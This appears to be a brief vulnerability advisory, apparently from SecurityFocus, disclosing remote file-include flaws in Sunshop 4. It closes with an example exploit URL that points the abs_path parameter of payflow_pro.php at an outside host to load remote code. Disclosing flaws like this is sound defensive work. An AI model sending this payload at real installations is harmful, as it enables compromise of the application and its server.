source: https://www.securityfocus.com/bid/23662/info

Sunshop is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect Sunshop 4; other versions may also be vulnerable. 

http://www.example.com/include/payment/payflow_pro.php?abs_path=http://www.example2.com/?